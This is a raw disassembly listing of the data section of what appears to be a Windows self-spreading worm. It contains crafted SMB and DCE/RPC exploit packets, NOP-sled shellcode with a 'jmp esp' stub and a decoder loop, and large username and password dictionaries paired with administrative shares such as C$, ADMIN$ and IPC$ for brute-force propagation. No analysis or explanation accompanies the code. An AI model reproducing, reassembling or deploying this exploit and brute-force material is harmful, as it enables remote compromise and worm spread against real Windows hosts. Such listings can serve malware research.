dword_414820	dd 77F33723h		; DATA XREF: sub_40B4D5+17Ao
; ---------------------------------------------------------------------------


loc_414824:				; DATA XREF: sub_40B4D5+190o
		jmp	short loc_414806
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_414828:				; DATA XREF: sub_40B4D5+167o
		lahf
		jnz	short loc_414843


loc_41482B:				; DATA XREF: sub_40B4D5+F0o
		add	[ecx+1Ch], bl


loc_41482E:				; CODE XREF: .data:loc_414838j
		add	[ecx], al


loc_414830:				; DATA XREF: sub_40B4D5+D0o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_414834:				; DATA XREF: sub_40B4D5+E0o
		jmp	short near ptr dword_41483C
; ---------------------------------------------------------------------------
		align 4


loc_414838:				; DATA XREF: sub_40B4D5+C0o
		jmp	short loc_41482E
; ---------------------------------------------------------------------------
		align 4
dword_41483C	dd 85000000h		; CODE XREF: .data:loc_414834j
					; DATA XREF: sub_40BB6E+4Fo
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_414843:				; CODE XREF: .data:00414829j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4148C8	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BB6E+8Co
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_414974	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BB6E+BFo
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_414A54	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B7A2+76o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40B7A2+9Do
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_414AB8	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B7A2+102o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_414B24	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B7A2+13Bo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_414BC8	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B7A2+36Eo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_414C48	dd offset loc_401494+1	; DATA XREF: sub_40B7A2+39Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_414CDC	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B7A2+23Eo
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_414D48	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40B7A2+269o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_414DBC	dd 0			; DATA XREF: sub_40B7A2+29Ao
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_414E44	proc near		; DATA XREF: sub_40B7A2+35Bo
		sub	sp, 71Ch
		jmp	esp
sub_414E44	endp

; ---------------------------------------------------------------------------
		align 4
dword_414E4C	dd 1004600h, 7515123Ch,	751C123Ch ; DATA XREF: sub_40B7A2+348o
; ---------------------------------------------------------------------------


loc_414E58:				; DATA XREF: sub_40B7A2+1C1o
		jmp	short loc_414E60
; ---------------------------------------------------------------------------
		dw 6EBh
		align 10h


loc_414E60:				; CODE XREF: .data:loc_414E58j
					; DATA XREF: sub_40BCAB+A0o ...
		mov	edx, 5042B68Ah
		push	ds


loc_414E66:				; DATA XREF: sub_40BCAB+54o
		rol	byte ptr [edx+12h], 1
		add	[eax], eax
		xor	al, 0
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
dword_414E90	dd 34EEA51Bh, 0		; DATA XREF: sub_40BCAB+7Co
dword_414E98	dd 12400h, 0		; DATA XREF: sub_40BCAB+136o
a3333		db '3333',0             ; DATA XREF: sub_40BCAB+D6o
		align 4
aCccc		db 'CCCC',0             ; DATA XREF: sub_40BCAB+8Eo
		align 10h
dword_414EB0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_40BE08+4Eo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_414F3C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BE08+9Do
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_414FE8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BE08+D5o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4150C8	dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BE08+11Do
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
dword_4150FC	dd 3F3F0000h, 3F3F3Fh, 0 ; DATA	XREF: sub_40BE08+15Fo
dword_415108	dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BE08+1DAo
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
dword_415174	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BE08+21Fo
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_415218	dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40BE08+280o
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_4152E2
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_4152EA
; ---------------------------------------------------------------------------


loc_4152E2:				; CODE XREF: .data:004152D8j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_4152EA:				; CODE XREF: .data:004152E0j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_415339
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_415339:				; CODE XREF: .data:0041532Fj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_41534C	dd 90080000h, 424D53FFh	; DATA XREF: sub_40BE08:loc_40C08Fo
		db 25h
byte_415355	db 3 dup(0)		; DATA XREF: .data:off_4130CCo
		dd 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_415416
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41541E
; ---------------------------------------------------------------------------


loc_415416:				; CODE XREF: .data:0041540Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41541E:				; CODE XREF: .data:00415414j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41548E
		add	[ecx], eax
		jmp	short loc_41545E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41545E:				; CODE XREF: .data:00415454j
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41546D
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41546D:				; CODE XREF: .data:00415463j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
dword_415480	dd 7E0h, 4, 0		; DATA XREF: sub_40BE08+2B9o
		db 2 dup(0)
word_41548E	dw 0			; CODE XREF: .data:00415450j
dword_415490	dd 0D0EC8166h, 7	; DATA XREF: sub_40C225+D9o
dword_415498	dd 129F74h, 0		; DATA XREF: sub_40C225+380o
dword_4154A0	dd 127D78h, 0		; DATA XREF: sub_40C225+3E5o

; =============== S U B	R O U T	I N E =======================================



sub_4154A8	proc near		; DATA XREF: sub_40C225+10Bo

; FUNCTION CHUNK AT 004154AE SIZE 00000049 BYTES

		pusha
		jmp	short loc_4154AE
sub_4154A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4154AB	proc near		; CODE XREF: sub_4154A8:loc_4154AEp
		pop	ebx
		push	ebx
		retn
sub_4154AB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4154A8


loc_4154AE:				; CODE XREF: sub_4154A8+1j
		call	sub_4154AB
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_4154BB:				; CODE XREF: sub_4154A8+3Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_4154BB
		popa


loc_4154E7:				; DATA XREF: sub_40C225+EAr
		add	[ebx+31h], al


loc_4154EA:				; DATA XREF: sub_40C225+E4r
		mov	ebp, 7FC77h


loc_4154EF:				; DATA XREF: sub_40C225:loc_40C540r
					; sub_40C225+348r ...
		add	[ecx], al
		inc	ebx


loc_4154F2:				; CODE XREF: sub_4154A8+4Cj
		xor	eax, eax
		ja	short loc_4154F2
		pop	es
; END OF FUNCTION CHUNK	FOR sub_4154A8
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h
dword_415508	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: sub_40C225+2CDo
dword_41551C	dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h,	0
					; DATA XREF: sub_40C225+29Eo
dword_415530	dd 65706970h, 736B775Ch, 637673h ; DATA	XREF: sub_40C225+236o
dword_41553C	dd 24637069h, 0		; DATA XREF: sub_40C225+1DFo
dword_415544	dd 73255C5Ch, 5Ch	; DATA XREF: sub_40C225+1CCo
					; sub_40C225+223o
dword_41554C	dd 2Eh			; DATA XREF: sub_40C225+1AFo
dword_415550	dd 73255C5Ch, 0		; DATA XREF: sub_40C225+18Fo
dword_415558	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40C794+ADo
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4155A4	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40C794+F2o
; ---------------------------------------------------------------------------


loc_4155C0:				; DATA XREF: sub_40C794+124o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4155D4	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40C794+14Do
a5000		db '5000',0             ; DATA XREF: sub_40C794+28o
		align 10h
byte_4155F0	db 90h			; DATA XREF: sub_40C90F+1Er
					; sub_40C90F+49r ...
dword_4155F1	dd 0			; DATA XREF: sub_40C90F+77r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 0FD0000h, 27000000h, 1, 12Fh, 13700h
		dd 13F0000h, 40000000h,	1, 441h, 84200h, 2430000h, 45000000h
		dd 40h,	1046h, 204700h,	1480000h, 49000000h, 4,	84Ah, 24B00h
		dd 404D0000h, 4E000000h, 10h, 204Fh, 19800h, 19F0000h
		dd 91000000h, 5, 992h, 39300h, 41950000h, 96000000h, 11h
		dd 2197h, 99900h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aGod		; "god"
		dd offset aDomain	; "domain"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aData		; "data"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
		dd offset aC_1		; "c$"
		dd offset aD		; "d$"
		dd offset aE_0		; "e$"
		dd offset aCShared	; "c$\\shared"
		dd offset aDShared	; "d$\\shared"
		dd offset aEShared	; "e$\\shared"
		dd offset aCWinnt	; "c$\\winnt"
		dd offset aCWindows	; "c$\\windows"
		dd offset aCWinntSystem32 ; "c$\\winnt\\system32"
		dd offset aCWindowsSystem ; "c$\\windows\\system32"
		dd offset aAdminSystem32 ; "Admin$\\system32"
		dd offset aAdmin_0	; "admin$"
		dd offset aCDocumentsAndS ; "C$\\Documents and Settings\\All Users\\Doc"...
		dd offset aPrint	; "print$"
		dd offset aIpc		; "IPC$"
		align 10h
		dd offset byte_417B60
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aA_1		; "a"
		dd offset aAb		; "ab"
		dd offset aAbc		; "abc"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aDba		; "dba"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset aWork		; "work"
		dd offset aDeadline	; "deadline"
		dd offset aPayday	; "payday"
		dd offset aSecret	; "secret"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset aTest		; "test"
		dd offset aGuest	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aNull		; "null"
		dd offset aTemp		; "temp"
		dd offset aTemp123	; "temp123"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aSex		; "sex"
		dd offset aLetmein	; "letmein"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aMoney	; "money"
		dd offset aLove		; "love"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aOwner	; "owner"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 8
aWinpass	db 'winpass',0          ; DATA XREF: .data:00415A50o
aBlank		db 'blank',0            ; DATA XREF: .data:00415A4Co
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .data:00415A40o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:00415A3Co
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:00415A38o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:00415A1Co
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:00415A18o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:00415A0Co
		align 10h
aDb2		db 'db2',0              ; DATA XREF: .data:00415A08o
aDb1		db 'db1',0              ; DATA XREF: .data:00415A04o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:00415A00o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:004159F8o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:004159F4o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:004159F0o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:004159E4o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:004159E0o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:004159D8o
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:004159D4o
		align 4
aLove		db 'love',0             ; DATA XREF: .data:004159D0o
		align 4
aMoney		db 'money',0            ; DATA XREF: .data:004159CCo
		align 4
aSlut		db 'slut',0             ; DATA XREF: .data:004159C0o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:004159BCo
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:004159B8o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:004159B4o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:004159A8o
		align 4
aLogin		db 'login',0            ; DATA XREF: .data:004159A4o
		align 4
aQwe		db 'qwe',0              ; DATA XREF: .data:00415940o
aZxc		db 'zxc',0              ; DATA XREF: .data:0041593Co
aAsd		db 'asd',0              ; DATA XREF: .data:00415938o
aQaz		db 'qaz',0              ; DATA XREF: .data:00415934o
aWin2000	db 'win2000',0          ; DATA XREF: .data:00415930o
aWinnt		db 'winnt',0            ; DATA XREF: .data:0041592Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:00415928o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:00415924o
		align 4
